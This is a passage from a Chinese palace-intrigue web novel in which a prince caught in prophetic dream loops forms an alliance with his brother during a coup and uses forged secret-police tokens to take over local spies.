不过,他已经下定决心,一定不能让老四登基。
不然大虞的江山可就要丢了。
女帝上位后,对他们这些前朝皇帝的兄弟,肯定是清洗、**。
阻止老四当皇帝。
不光是为了大虞江山。
也是为了自保。
第33章 周庄梦蝶
周昕阳冷静下来后,重新拿起这些画卷,看着上面的内容,陷入了沉思。
“不对。”
“不对劲。”
“时间不对。”
一开始,周昕阳以为是父皇挑选了老四,让他进京,登基称帝,这才有了后续的日月同天,后宫干政,篡位称帝……
可周昕阳仔细一想后,发现这个逻辑理不通。
“现在的情况是太子造·反被废,失去了继承权,老二、老三贴身侍奉,父皇病重垂危,随时会死,他已经不可能再让老四进京了。”
“因为这个敏感时刻,让老四进京,就等于告诉天下藩王,他要选老四。”
“这是取祸之道。”
“哪怕父皇病重昏聩,也不可能做出如此失智之举!”
“即便父皇想这么做,老二、老三也不会同意的。”
“宁愿殊死一搏,也不坐以待毙。”
周昕阳神情冷静,开始分析现状。
若把周昕阳放到老二、老三的位置上,他也不可能什么都不做。
最简单的道理。
老四成功上位了。
会放过这两个跟自己竞争皇位的兄弟吗?
他们三人关系是……进一步,成为至高,退一步,死无葬身之地。
成王败寇,谁会在这个时候退后?
这不是想不想上的问题,是不上必死的问题。
“哪怕让所有藩王都入京,也比只让老四进京,要稳妥的多。”
“可父皇的身体,已经不足以支撑这件事了。”
“所以,如果未来画面是真。”
“就是说,老四是第三位皇帝。”
“是新帝后的下一位皇帝。”
“只有如此,一切才能解释得通。”
周昕阳心头一沉,他没想到接下来的局势会这么复杂?
如果他的推断正确,就说明,接下来继位的皇帝,是个短命鬼。
而老四也是个短命鬼。
这才让那个女人占了便宜。
“兄死弟及。”
“不知道新帝是老二,还是老三。”
“居然会选择这样的方式传承皇位……”
周昕阳完全没想到未来会是这样的。
这种频繁更换皇帝的未来,对天下来说,都是一种极大的不稳定。
对周昕阳更是如此。
谁上,都要削藩。
谁上,为了坐稳皇位,都要对兄弟动刀。
动一次不够,还要动好几次。
这谁受得了?
“艹!”
想到这里,周昕阳忍不住爆了一句粗口。
随后,他已经有了决断。
必须跟老六合作了。
不然未来太被动了。
虽然现在的周昕阳,暂时还不清楚是老二上、还是老三上。
可不管谁上,都是短命鬼。
既然都是短命鬼,那就调一个能活得久的皇帝支持……
就在周昕阳打算先休息,早上再去找老六周煜城的时候——
房门突然被打开了。
一道黑色身影,闯了进来。
周昕阳反应迅速,直接从书桌下,抽出宝剑,“什么人?”
“别冲动,是我。”黑影发出熟悉的声音。
摘下帽檐。
赫然是六皇子周煜城。
“老六,这么晚,你来这里做什么?”周昕阳放下了宝剑。
“情况有变。”
“宸极城出事了。”
周煜城神情凝重。
“你是怎么进来的?”周昕阳盯着对方,“这件事,不说清楚,接下来的事情,没必要谈了。”
“我泽川王府的防备,应该不至于这么弱吧?”
“说说吧?”
“六哥。”
周煜城有些无奈:“九弟,现在不是说这些的时候。”
“既然你不愿意说,那就请回吧。”周昕阳神情淡漠。
“好吧。”见周昕阳心意已决,周煜城无奈说出实情,
“你府上藏着一个宸察院,代号罗衣,我是通过他的路子,才进入王府的。”
“也是因为他,我才敢冒险前来。”
“因为我知道,他不会出卖我。”
“罗衣?”周昕阳若有所思,脑海中闪过一些人的面孔,“合作的前提,把罗衣给我。”
“一个随时能汇报我动向的探子,是插在我喉咙的刺,不拔掉,我睡不着。”
周昕阳提出了条件。
周煜城毫不犹豫的出卖了对方:“好。”
“他是你贴身太监徐善的同乡。”
“几年前,在你回到封地之后,他就进入了王府,从事最下等的工作,逐步站稳脚跟后,找到了徐善,装作不经意碰见……”
“他的名字,叫做秦川。”
“秦川?”周昕
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阳眼眸闪烁,脑海中浮现出一道身影,个子不高,身形消瘦,长相平庸的男人,在王府中没什么存在感,干的也是寻常、普通的工作。
“好。”
“说吧。”
“深夜找我,宸极城究竟出什么事了?”周昕阳开口问道。
周煜城深吸了一口气,调整情绪,沉声道:“皇宫出事了。”
“老二起兵叛变,控制了皇宫。”
“父皇生死不知,老三疑似被擒。”
“什么?”周昕阳大惊,“消息准确吗?”
“当然准确。”周煜城神情凝重,“这种事情,我怎么敢乱说?”
“消息是从宫里传回来的。”
“也不瞒你。”
“你上次不是问我,在宸察院内有没有朋友?”
“现在也不用瞒着你了,我在宸察院里的人,就是左提督使沈砚。”
“我……”周昕阳一瞬间头皮发麻,浑身微微颤抖,声音沙哑,喉咙有些干,死死盯着周煜城的脸,一字一句的问道:“我什么时候问你的?”
周煜城微微蹙眉,错愕的看着对方:“你失忆了吗?”
“不是在皇宫的时候?”
“上次祭祖大典……”
“我们后面不是还去了东宫?”
“你都忘了?”
整个院落,寂静无声。
房间内,只剩下周煜城的声音在耳边回荡。
窗外知了漱漱作响,月光散入窗户,入夜的微风吹进房间,带来一丝凉爽。
周昕阳呆愣在原地,双手微微颤抖,他看着自己的手掌,又看了一眼周煜城。
下一刻——
他不顾一切的跑回床边,拿起枕头边上的怀表,看着上面的时间。
【4:06:29】
一瞬间,周昕阳瘫坐在地,表情复杂。
现实变了。
因为他在梦中的所作所为,现实改变了。
他很难描述此刻的心情。
恐惧?
害怕?
不是。
只是有种恍惚。
恍惚若梦,周庄梦蝶,究竟是梦蝶做梦成了周庄?
还是周庄做梦成了梦蝶?
什么是梦境?
什么又是现实?
……
突然,他想到了悼恭太子。
想到了那位传奇太子的最终结局。
整个人清醒了,从地上弹射起来。
第34章 一王压四海
周昕阳猛然转头,看向周煜城,眼神极为复杂。
周煜城被吓了一跳,忍不住后退半步,然后咳嗽两声:“咳咳,九弟,你别吓我……”
“宸极城确实出了大事,但也不至于这么大反应吧?”
“你这样,我真有点怕。”
“你这个癔症实在是……”
“行了。”周昕阳打断了周煜城的话,“你刚刚说,在祭祖大典的时候,我问过你,宸察院的朋友,跟你一起去了东宫,对吧?”
“对啊。”
“有什么问题?”
周煜城微微蹙眉。
“在东宫,我们一起探听了太子企图造·反的秘密,配合宸察院密探,控制了太子……对吧?”周昕阳继续发问。
“对。”
“不过,纠正一下,是你配合宸察院密探,我从头到尾,都没有暴露身份。”周煜城回答。
“嗯。”周昕阳微微颔首,“那么后来呢?”
“又发生了什么?”
“那我咋知道?”周煜城皱眉:“这要问你自己啊!”
“后面发生的事情,我又不在场,我去哪里知道?”
周昕阳冷声道:“你不是有左提督使沈砚当内应吗?”
“怎么会不知道?”
“你耍我?”
周煜城也来了怒气:“老九,你发什么疯?”
“沈砚确实会暗中提供一些消息,可牵连这么大的消息,他怎么传递出京城?”
“这可是比天大的事情,稍有不慎,就会引火上身。”
“况且,这件事是内缉司负责的,又不是沈砚的文察司,很多隐秘,哪怕是他,也只能知道大概。”
“你身为参与者,你都不知道,我能知道什么?”
“我是参与者……我应该知道……”周昕阳眉头紧锁,开始回忆那天发生的事情。
很快。
头痛欲裂。
无数记忆犹如洪流般,涌入脑海。
周昕阳双手抓住脑袋,双眼通红,布满血丝,脸上露出极为痛苦的表情。
他跪倒在地。
“六哥,我冒着被宸察院抓住的风险,假扮太监,前来见你,你以为我是在开玩笑……”
“父皇,儿臣也碰见过那个老道士,看他仙风道骨,本想让他给我算一卦……”
“燕惊鹊,我们没有恶意,想跟你做笔生意……”
“专业的事情交给专业的人来弄,我能直接打开前两把锁,依靠的是……”
这些画面,与梦境中发生的事情开始重叠。
这让周昕阳产生了很多错觉。
梦境与现实的界限,在他眼中,开始有些模糊了。
但很快,接下来的记忆画面,就是周昕阳从未见过的了。
依旧是那个铁箱。
依旧打开三把锁后。
第四把锁……铁链交织的机关铜锁,他和锁匠们合力,却无论如何也打不开。
最终,在三天后,他被赶回了封地。
因为他的举动,现实世界产生了某种不可预知的变化。
三天。
他身为藩王,一反常态的,在祭祖大典后,多滞留了三天。
这个消息传遍天下。
而原先停留宸极城一个月的周煜城,这一次,却跟其他藩王一同返回。
历史被改变了。
无数纷乱的记忆,充斥着周昕阳的大脑。
足足十几息,周昕阳逐渐平静下来,接受了这一变化。
“老九,算了,看你状态很差。”
“可能是我打扰了,我明天再来找你吧。”
周煜城深深叹了一口气,转身欲走。
周昕阳一把抓住了他的手臂,满头大汗,声音沙哑:“继续,我好了。”
“你确定?”周煜城皱眉,打量着周昕阳的状态。
“我说我好了。”周昕阳眼中还带着血丝,整个人的状态好似几天几夜没睡觉,浑身充满着疯狂、烦躁、痛苦等情绪。
“行,你还想问什么?”周煜城不动声色的抽回手。
“找我什么事?”
周昕阳揉着眉头,不断梳理这段多出来的记忆。
“目前看来,老二登基称帝,已经是板上钉钉的事情了。”
“我们早做准备。”
“万一他考虑削藩,你我绝对第一目标。”
周煜城神情严肃,这也是他得到消息后,第一时间来找周昕阳的原因。
这种事情,事关重大,容不得半点耽搁。
“好,我们可以合作。”
这一次,周昕阳没有迟疑,点头同意了下来。
“你有什么计划?”
“具体说说。”
周煜城沉声道:“目前皇宫的情况,谁也不清楚。”
“不过有一点可以肯定,接下来,老二肯定会有动作。”
“无论是矫诏篡
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位称帝,还是利用其他手段,取信天下……他总要做些什么。”
“我们要做的,就是不让得逞。”
嗯?
周昕阳略微思索,就明白了周煜城的用意。
“你的意思是……只要他这个皇位坐不稳,他就不会这么快削藩,我们就可以趁机自保。”
“对。”周煜城点头,“但这也只是权宜之计,只能拖一时,所以,重要的是第二步。”
“第二步?”周昕阳皱眉,刚刚的记忆变化,给他的冲击很大,自己脑子懵懵的,有点不清醒,“你先说。”
“很简单,营救太子。”周煜城沉声说道。
“什么?”
“你疯了?”
“太子是我送进宗人府的,现在我去救他?”
“你开什么玩笑?”
“你以为太子上了,就不削藩了?”
“他上去之后,如果翻脸无情,第一个死的就是我,第二个就是你。”
周昕阳脸色骤变,他虽然脑子有点昏昏沉沉的,可基本的理智还在,冷声反驳。
“确实有这个风险。”
“可锦上添花容易,雪中送炭难。”
“现在的太子,经历了宗人府的摧残,又看见老二篡位成功,当了皇帝,他心中肯定不平衡,只要有机会,什么会拼死抓住。”
“而我们……就是他的机会。”周煜城说到这里,稍微顿了顿,
“况且,我从没说过,他这个皇帝,能有实权。”
“你是想挟天子以令不臣?”周昕阳听懂了他的意思,心中嘶了一声,这个老六,胆子很大啊!
这等于是扶持老大上去,当一个傀儡皇帝,然后由他们这两位王爷,实际掌权,号令天下。
周昕阳还是摇了摇头:“想法不错。”
“但很难实现。”
“就说句难听的。”
“我们手里有多少兵?”
“哪怕要入京勤王,我们打得过京都五营吗?”
“宸极城的兵马是天下最雄壮的,有一王压四海之名,我们拿什么赢?”
这是流传在坊间的话,一王,指得是宸极城内的王师,也就是京都五营,而四海,代指八大藩王以及各州郡的兵马。
意思是,天下兵马,首推京都五营。
其次就是边境四王的边军。
其次才是各州郡的兵马,以及内陆·四王。
第35章 三个不同点
“一王压四海?”
“老黄历了。”
“现在的京都五营,贪腐严重,战力锐减,早不复原来的光景了。”
“只是曾经的光辉太耀眼。”
“才导致世人还以为京都五营不可战胜……”
周煜城脸上挂着嘲弄的笑容,讽刺意味十足。
周昕阳清楚这肯定是宸察院给的情报。
“所以呢?”
“去营救老大,扶持他登基,我们架空他,成为傀儡皇帝?”
“这就是你的计划?”
周昕阳还是觉得愚蠢。
他们是什么?
他们可不是大臣,他们可是藩王!
藩王是什么?
藩王是有继承权的王爷。
王爷滞留京城,本就很犯忌讳。
老二、老三才留这么一会儿,太子就忍不住起兵造·反了。
他们两个藩王长时间滞留京城,还架空皇帝,真当其他藩王、各州郡是瞎子吗?
周煜城开口道:“你觉得有何不妥之处?”
“太愚蠢了。”
“你这么做,只有一个结果,那就是天下皆反!”
“你可以入京勤王,别的藩王、将军为什么不行?”
“你能打赢京都五营,能打得过天下兵马吗?”
周昕阳冷声质问。
“六哥,你要知道,有些事情,为什么叫讲规矩?”
“为什么要走正道?”
“历史上,不走正道的皇帝、大臣,都没有好下场的。”
“一旦我们这么做了,那就是礼乐崩坏,乱兵都能把我们捅死!”
“我们敢把持朝政、敢用兵马**京城,那么下一个有实力的藩王、将军,就也敢这么做。”
“皇权就崩了。”
“国将不国,天下皆反。”
“任何都会拼了命的往上爬。”
“这个后果,你能扛得住吗?”
周昕阳死死盯着周煜城,语气凝重。
周煜城脸色阴沉,没有说话。
他深吸了好几口气,才缓缓开口:“九弟,你考虑得有道理。”
“那你有什么想法?”
周昕阳揉着眉心:“我没休息好,状态很差,脑子有些糊涂,让我再想想,明天正午,你再过来。”
“六哥,合作之事没有问题,你的第一步计划,也没有问题,先拖延时间的做法是对的。”
“但后续的事情,等我睡醒,脑子清醒了,再做决定。”
“好。”周煜城点头,没有勉强,转身离去。
在周煜城走后,周昕阳并没有第一时间入睡休息,而是强忍着不适,命人叫来了徐善。
“王爷,您找我?”
徐善穿着睡衣,一脸困倦的跑了过来。
“秦川是你的同乡?”周昕阳淡淡问道。
徐善微微一愣,点了点头:“是,他是琅琊州海门人,跟奴婢家乡一样。”
“你以前见过他吗?”周昕阳又问。
“不太熟。”
“儿时见过,长大之后,我就被卖入宫中,成了王爷你的贴身太监……”徐善低声回答。
“给你一个自证的机会。”
“去吧,把人抓来。”
“如果跑了,你就不用回来见我了。”
“我只给你,半个小时。”
周昕阳拿出怀表,按了一下上面的按钮,开始计时。
看见这个动作,徐善整个人都紧张了起来,仅存的困意全无,转身就跑,头也不敢回。
他很清楚,王爷是认真的。
这么多年相处。
徐善对周昕阳太了解了。
只要拿出怀表,开始计时,就说明这是最后一次机会了。
周昕阳叫来了护卫统领。
“玄鹰,盯着徐善和秦川。”
“如果半个小时后,徐善办事不力,将他一起抓回来。”
“是。”玄鹰躬身行礼,快步离开。
周昕阳开始闭目养神,梳理脑子里的纷乱记忆。
一道道念头,浮上心头。
梦境。
现实。
变化。
悼恭太子。
与老六合作。
第三把锁。
完整的诗词。
未来女帝……
突然,周昕阳睁开了眼睛。
“这次梦境,与以往梦境有几个不同。”
“第一,悼恭太子,神御阁,这是我以往梦境都没有探寻过的点位,或者说,哪怕以前有去过,也没有寻找过关于他的事情,这个或许是打破循环的关键。”
“而且,现实中多出来的记忆,并没有去神御阁的画面,换句话说,这是梦境与现实的又一大偏差。”
周昕阳深吸一
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口气,他不怕不一致,就怕都与梦境一模一样,而他却没有摸透梦境更改现实的秘密。
这会造成一个可怕的后果。
那就是……某一天,突然梦境没有循环了,直接改变了现实,就跟现在一样。
那梦境里,他**。
是不是就真的**?
永远无法苏醒了?
周昕阳浑身一冷,只觉得头皮发麻,后背发凉。
他不可避免的想到了悼恭太子。
想到了那个自称自己是皇帝、最终被禁军统领所杀的悼恭太子……
他是不是就是这么死的?
周昕阳深吸了一口气,平复情绪,继续分析:
“第二点,第三把锁的开启,完整诗词的出现,以及未来女帝画面的出现……”
“这是否是改变的关键呢?”
“第三点,与老六合作,一起行动,这也是从未有过的举动,这会不会是改变现实的原因呢?”
周昕阳认真梳理了这次梦境发生的事情。
很多路线都是照搬的,与上次梦境,变化不大。
最大的变化点,只有三个。
神御阁调查悼恭太子。
第三把锁的开启。
与老六的合作。
周昕阳觉得三个都有可能。
第一个举动,现实中并非发生,记忆中没有,这个变化,很奇怪,既然改变了现实,为何现实中的自己没去?
不符合常理。
第二个,无论是完整诗词的出现,还是梦中梦景象的出现,看见未来女帝片段……都说明了第三把锁的不凡。
第三个,与老六合作,还真是周昕阳一直以来忽略的东西,没考虑过,自然不会付诸行动。
所以这个可能性是有的。
“一定要摸清楚,改变现实的媒介是什么?”
“如果是第三把锁,那我改变第三把锁,岂不是就能再次更改现实?”
“还是说,改变现实后,梦境也会同步变化,我已经走出了梦境循环?”
“想要清楚这点,只能等明天,哦不,是今晚的梦境了。”
周昕阳思绪万千,他也没想到,第三把锁就这么开了?
还看见了未来女帝的片段?
更没想到这次的梦境竟然能改变现实?
从而导致如此之大的变化?
第36章 宸察院密令
“悼恭太子,你的结局,会是我的未来吗?”
“走出梦境循环的你,开启了顺风顺水的人生……为何会在最巅峰的时候,走向死亡呢?”
“你到底还藏了什么秘密?”
周昕阳思绪万千,万般滋味涌上心头。
本以为解决了梦境循环,就能掌控一切,可新的谜团又涌现了出来,在现实中,不该存在的铁箱,诡异出现了。
梦境中的铁箱,从无到有的来到了现实?
梦境的选择会影响现实?
这让周昕阳心中迷茫的同时,又不可避免的升起一丝阴霾。
要知道,他的梦境中,可一直是死亡速通模式的。
一言不合,就是挥刀**,强行脱离梦境。
可现在……他已经完全不敢这么做了。
万一梦境突然又作妖,成为了现实,那岂不是他就这么一觉不醒了?
这多吓人?
“所以,继续开锁很重要。”
“摸清楚梦境规律更重要。”
“一定要摸透规则,而且从下次梦境开始,要尽可能的避免死亡。”
“决不能轻易的在梦里死掉。”
周昕阳思绪转动,突然又有了一个思路。
他连忙拿起墨笔,将刚刚三个不同点,书写下来,记录到宣纸之上。
悼恭太子。
第三把锁。
周煜城。
“一直以来,我都是在和太子在玩。”
“从未考虑过三位藩王。”
“这一次,跟老六合作,弄出了不同的未来。”
“那如果我选择的不是老六,而是老二、老三呢?”
周昕阳突然有了一个新的方向。
随后,他挥笔,写下了两个名字。
二皇子周·炜廷。
三皇子周焕章。
他们内陆·四王,基本上每年祭祖、祭社大典,都会返回宸极城来参加。
而边疆四王,由于需要把持军事,抵御外敌,所以让世子前来,代为参加。
周昕阳写上了四大世子的名字后,又划拉掉。
“四大世子,存在感太低。”
“从整体来看,他们应该不是改变点。”
周昕阳将二皇子、三皇子圈了一下,打算在今晚入梦的时候,再去尝试下。
……
“王爷,人带回来了。”
徐善满头大汗,带着两个侍卫,将五花大绑的秦川,送到了周昕阳的面前。
周昕阳看了一眼怀表时间,二十六分钟。
随后,他点了点头:“你们都出去,秦川,孤亲自审问。”
“是。”徐善松了一口气,连忙跟着几人退了出去。
周昕阳坐在椅子上,后靠椅背,望着眼前之人:“名字。”
秦川看着周昕阳:“秦川。”
“真名?”周昕阳继续发问。
“是,从小就叫这个名字。”秦川回答。
“什么时候进宸察院的?”周昕阳问。
秦川答:“很早了,有十年了,那一批,有人进宫,当太监,有人被暗中吸纳,摒弃姓名,成为暗子。”
“我就是成为暗子的那一批。”
“嗯,代号是什么?”周昕阳冷声问道。
秦川看着周昕阳:“王爷不都知道了吗?”
“何必再问呢。”
“看来你都猜到了?”周昕阳淡淡道。
“哎,若非如此,王爷怎么会如此迅速的找到我?”秦川叹息一声。
“你为什么会帮他?”周昕阳直接打开天窗说亮话。
“因为六王爷拿着我宸察院的高层手令,按照规矩,我不能拒绝他的命令。”秦川无奈,明知是坑,但也没办法阻止。
甚至连通传回京……都做不到。
因为六王爷来云梦州后,第一时间拿令牌控制了地方密使,他身为密探、暗桩,都是单线联系,消息传递根本不可能绕过地方密使。
“高层手令?”
“能控制你,压住指挥地方密使的密令,最少也是掌案千户一级的炎雀令。”
“我说的对吧?”
周昕阳淡淡说道。
“王爷对我们宸察院很了解?”秦川脸色微变,试探的问道。
宸察院的一切,都是绝密。
宸察院没小事,件件都是事关国运的大事。
哪怕是藩王,也被宸察院密探暗中监视,稍有异动,消息就会传递回京。
密令,同样是内部才会流传的重要机密。
图案、样式、文字、材质……无一不是绝密。
旁人根本不可能知晓。
“宸察院的等级密令,共有五个级别。”
“分别对应掌院学士、提督使、镇抚使、掌案千户、理刑百户,这五个等级。”
“除此之外的,都是杂鱼。”
“像你这样的密探、暗桩,不过是耳目而已。”
周昕阳语气
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淡漠,缓缓说道:“每一级别的密令,数量都是有限的,同时难以伪造。”
“你这个级别,能知道的密令,只有三种。”
“赤犬令、炎雀令、燚虎令。”
“图案、样式、文字、令牌使用的材质、防伪记号,都是独一无二的。”
“我说的对吧?”
嘶!
秦川心头一跳,泽川王怎会知道如此机密之事?
难道是六王爷说的?
“来。”
“你看看这个。”
周昕阳微微一笑,随手打开抽屉,翻开暗格,从几块令牌中,随意拿出一块,丢到了秦川面前。
这是一块盾牌形制的令牌,整体金黄,刻着一只造型威猛,充满力量感的咆哮猛虎,做前扑之势,虎身上的斑纹化为爆裂的金色火焰,仿佛虎躯由内而外的燃烧。
“这……这是燚虎令?”
“王爷,你怎么会有?”
“这不可能!”
秦川露出了难以置信的表情,整个人都呆愣住了。
“燚虎令,宸察院内部,又称攻坚之爪,是一块只属于镇抚使一级的特殊密令,能够号令宸察院各地密使。”
“令牌背面,采用深浮雕古篆“燚虎令”三字,并镶嵌特殊编码,整体笔画粗犷有力。虎眼镶嵌两小颗黄色琥珀,不怒自威……”
“材质是黄铜,主要颜色为明亮的黄铜色,火焰为炽金色。”
周昕阳将各种注意细节,徐徐道来。
秦川呆愣愣的看着周昕阳,仿佛第一次认识这位“平平无奇”的九王爷。
“自我介绍一下,宸察院,云梦州镇抚使·周昕阳。”
周昕阳淡淡说道。
“不可能!”
“这绝对不可能!”
秦川疯狂摇头,“假的!”
“你这块令牌是假的。”
“你怎么会是外派镇抚使?”
“你如果是外派镇抚使,那我还监视什么?”
“我存在的意义是什么?”
周昕阳看着神情疯狂的秦川,嘴角勾起,淡淡开口:“你不是看过六王爷的密令吗?”
“怎么?他的炎雀令就可以是真的……孤的燚虎令就假的了?”
“宸察院的规矩都忘了吗?”
随后,周昕阳打了一个内部独有的手势动作。
一瞬间,秦川冷静了下来,
“王爷,能让仔细看看这块燚虎令吗?”
第37章 五大密令
“看吧。”
“看仔细点。”
周昕阳将燚虎令丢到他面前的桌上,靠着椅背,神情淡漠。
秦川神情严肃,一点点比对着记忆中的各种细节,企图找寻到不一致的地方。
但很可惜,整个燚虎令,无论是正面、侧面、背面,都很完美,找不到一点问题。
各处细节都与内部书册记录上的,完全一致。
“虎睛嵌黄琥珀……没错。”
“尺寸大小……没错。”
“正面采用深浮雕刻技术,刻画一头咆哮猛虎,斑纹化为爆裂的金色火焰……没错。”
“字体为古篆,笔锋落点有略微错位……没错。”
“材质为黄铜,颜色为金黄和炽金……没错。”
秦川越看越心惊,因为没有错,一点错都没有,任何防伪记号都是对的。
嘶!
秦川不可思议的看向周昕阳。
“怎么?”
“验证好了吗?”
“时间有点长了。”
“作为密探,你的速度有些不合格。”
周昕阳淡漠批评道。
“是,镇抚使大人。”秦川恭顺低头。
“现在相信了?”周昕阳看着对方。
“是的。”
“镇抚使大人,是小人无礼了。”
“请您恕罪。”秦川恭敬说道。
“我刚刚的动作,你看见了?”周昕阳淡漠说道。
秦川表情复杂,低声道:“看见了,您是在说,面对上级,要懂规矩。”
“宸察院密探,身份绝密,单线联系,只认密令,不认人。”
“规矩都忘了。”
“你这个密探是怎么当?”周昕阳冷声训斥。
“是,小人有罪。”秦川低头。
“等等,孤会让把你关到柴房,你自己想办法脱身,然后通知你的上级,来孤这里报道。”
“孤有任务交代。”
“听懂了吗?”
周昕阳淡漠道。
“是。”秦川回应。
“来人,把他押下去。”
“关到柴房,严加看管。”
周昕阳推开房门,吩咐道。
“是。”两人走了进来,将秦川押走。
周昕阳重新关上房门,手中把玩着那块燚虎令。
随后,他打开抽屉,掀开暗格,将令牌丢了进去。
燚虎令落入暗格,与其他几块令牌碰撞到一起,发出清脆的声音。
几块令牌都刻画着不同的图案,赤犬、火雀、猛虎、麒麟……以及最为显眼的三足金乌。
周昕阳盖上暗格,关上抽屉,嘴角勾起。
这么多年的梦,可不是白做的。
在梦境中,他与宸察院的高层斗智斗勇,不知道被抓了多少次……
这也不是白被抓的。
四种密令,他都摸过、见过、感受过,各种细节,他比宸察院的密探,还要了解。
唯有一个密令,是他没摸过的。
那就是独属于掌院学士萧景琰的金乌令。
能够调动整个宸察院的至高密令。
被称为……至高之察。
……
周昕阳抽屉里的密令,没有一个是真的,都是假的。
可那又如何?
他的密令,哪怕是拿到京城的宸察院总部都能畅通无阻。
因为各种细节,早就在一次次校对中,无限接近于真的。
或者说,本来就是真的,连编号代码,都是确确实实的。
只是不该出现在他手里而已。
“原来顾忌朝廷,顾忌父皇,担心在云梦州真的有镇抚使存在,所以不敢乱用,生怕引火上身。”
“可老六拿着一个炎雀令,就能如此肆无忌惮?”
“这说明云梦州没有镇抚使……”
“现在京城风云变幻,宸察院也没有这个心思,去兼顾各地藩王。”
“接下来,就轮到我来操作了。”
周昕阳手中有四大密令,足以在除京城皇宫外的任何宸察院据点畅通无阻。
至于伪造的金乌令,他不敢用,也不会去用,因为见过这种密令的,最少也是镇抚使。
属于级别不够,你连见都见不到。
这块令牌是萧景琰的专属。
拿出去,反而会暴露。
而次一等的煌麟令,是提督使一级的,理论上来说,只有左右提督使沈砚、厉斩秋两人才拥有。
这两人非必要情况,是不会离开宸极城。
所以,刚刚周昕阳拿出来的是燚虎令,代表的是地方最大官职——镇抚使。
这个密令,在除京城宸察院的任何地方,就是天。
哪怕有镇抚使存在,双方也是平级。
“第一步,先将云梦州内的密探、暗桩,统统掌控,拔掉朝廷留在云梦州的耳目,完成对云
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梦州的实际掌控。”
周昕阳神情严肃,这件事,其实他早就想做了。
一直没做,只是因为时机未到。
现在就是最好的时机。
无论是为了后续的结盟,还是为了接下来的自保,他都必须在不惊动朝廷的情况下,握紧自己的兵权。
“第二步,扩充军队,调动辎重、囤积粮草、购买兵刃……做好战斗准备,嗯,可以考虑让老六,继续当这个傻子,让他以为是他的炎雀令在发挥得作用。”
“让他认为还把控着一切,能时刻监视自己。”
周昕阳微微眯眼。
毫无疑问,这块密令肯定是左提督使沈砚给的。
有这块密令,在没有镇抚使的地方,足以控制当地的宸察院密探。
这也是周煜城敢于孤身潜入云梦州的底气所在。
没有这块密令,周煜城早被宸察院的密探抓了,或者早就被上报朝廷了。
“第三步,拖延时间,给老二上上眼药,延缓他的掌权时间……”
周昕阳想着想着,觉得脑子越来越乱。
昏昏沉沉的。
精力越来越差。
“算了,扛不住了。”
“先睡觉吧。”
周昕阳将宣纸上的内容,统统背下后,一股脑丢入火盆,任由纸张燃烧,化为灰烬。
随后,他爬上床,闭上眼睛,进入梦乡。
……
一夜无话。
辰时一刻。
周昕阳准时清醒。
他爬起床,很快完成洗漱后,开始用餐。
周昕阳吃着水晶包,眼眸微眯,念头转动。
经过睡眠的补充,他的大脑再次活跃,思绪随之变得清晰。
“老六来找自己,主动暴露宸察院的情报,为的就是拿捏自己。”
“秦川不过一个弃子,并不能改变什么。”
“王府可能不止一个秦川。”
“可能有好几个秦川。”
“而现在的周煜城,掌控着云梦州宸察院分部的所有密探,因为有这个东西在,他才有跟我合作的底气。”
“因为他能随时监控自己的行为。”
“既然如此……”
“我不如就顺着他的心意,让他以为自己能随意拿捏我……”
“在他志得意满的时候,猛然出手,占据主动权。”
周昕阳眼眸中闪过一丝锋芒。
第38章 京城消息
占据主动权!
这一点,在任何关系中,都是很重要的。
无论是什么合作,永远不可能做到真正的平等。
总有一方是强势的、是占据主动的,而另一方只能是配合、服从,从此成为附庸。
周煜城为什么来找自己?
还不是因为自己是八大藩王中最弱的……
周昕阳神情淡漠,梦境里的经历,让他拥有了超越同龄人的成熟和冷静。
再加上他喜欢读书,爱看史书。
这让他对于局面的分析更有心得。
“如果老六想要从龙之功,从四大边境藩王中,任选其一,通过自己手中的消息,引兵入京,只要成功,他就是最大的功臣。”
“可他担心风险,又异常贪婪。”
“他不甘心只做功臣,他想成为权臣,他想权倾朝野,甚至觊觎那个位置……”
周昕阳从对方的第二步计划,就可以知道老六不是一个安分的主。
权倾朝野的丞相、相国,更进一步,可就是皇帝了。
一开口就是扶持废太子上位,挟天子以令不臣,这可不是一个臣子应该有的思想。
况且,他不是普通臣子,他可是藩王,是流淌着大虞皇室血脉的宗亲,是有继承权的。
说他没更进一步的想法,周昕阳无论如何都不相信。
“老六的野心,不加掩饰。”
“他敢独自前来,也说明他具备超乎常人的胆气。”
“野心加上胆气,那个位置,他肯定想争一争。”
“所以,想要占据主动权,就必须先让他认为自己才是主,而我是附庸。”
“预先使其灭亡,必先令其疯狂!”
周昕阳心中有了一个主意。
接下来的时间,周昕阳重新整理了一下思路。
在秦川的帮助下,成功利用燚虎令操控了他的上级。
通过他的上级,周昕阳找到了地方密使。
“夜枭,参见镇抚使大人。”
一名身姿挺拔的中年男人,恭敬行礼,看向周昕阳的眼神,尊崇无比。
夜枭,宸察院密探,从五品,秦川的上级。
“你这个级别,正常来说,应该是地方密探了,怎么还只是暗行组的一员?”
周昕阳喝着茶,淡淡问道。
“回大人,三年前,曾犯了个错,所以没提上去。”夜枭回答道。
周昕阳将手中的燚虎令丢给夜枭,“按照规矩,检查一下吧。”
“是。”夜枭小心翼翼的接住令牌,开始检查各种细节。
片刻后,夜枭恭敬低头,双手举起燚虎令,“请特使大人吩咐。”
“嗯。”
周昕阳收回了燚虎令。
“带我去找你的上级。”
“是。”夜枭没有犹豫,直接同意,“请大人跟我来。”
密令是有优先级的。
周煜城的炎雀令确实很好用,等同于掌案千户。
地方密使绝大多数都是正五品或从五品,等同于理刑百户,而少部分立下过大功的,可以破格提拔成掌案千户。
但宸察院内部有个不成文的规矩……
同等级,以密令为大。
都有密令,以异地办公为大。
因为能异地办公的,一般都是有上面交代的特殊任务。
密令,并非是标配。
宸察院代表身份的令牌,与密令是两码事。
身份令牌,同样能代表身份,可却没有便宜行事的特权。
换句话说,号令不了其他地方的密探。
只有密令可以。
为什么给周煜城炎雀令,而不是燚虎令?
原因有两点。
其一,破格提拔的掌案千户,一般来说,是没有密令的,也就是说,虽然他是千户,但拿的还是百户令牌。
其二,同等级,同密令,京官最大,异地办公最大。
所以,手握炎雀令的周煜城,足以在绝大多数城池内,畅通无阻。
只要不碰得到镇抚使,他就是最大的。
而镇抚使的具体分布数量,沈砚有大致提点过他。
……
一炷香后,周昕阳见到了蓼汀城内的地方密使·屠三儿。
这是一个五大三粗的壮汉,手握屠猪刀,正在干脆利落的杀猪……
屠三儿刚看见夜枭带着周昕阳出现的时候,他第一反应就逃。
周昕阳,是宸察院重点关注的对象。
他的主要任务之一,也是盯着这位泽川王。
现在泽川王找上门来了?
他还不跑?
等什么呢?
可就在他准备有所行动的时候,周昕阳直接掏出了燚虎令。
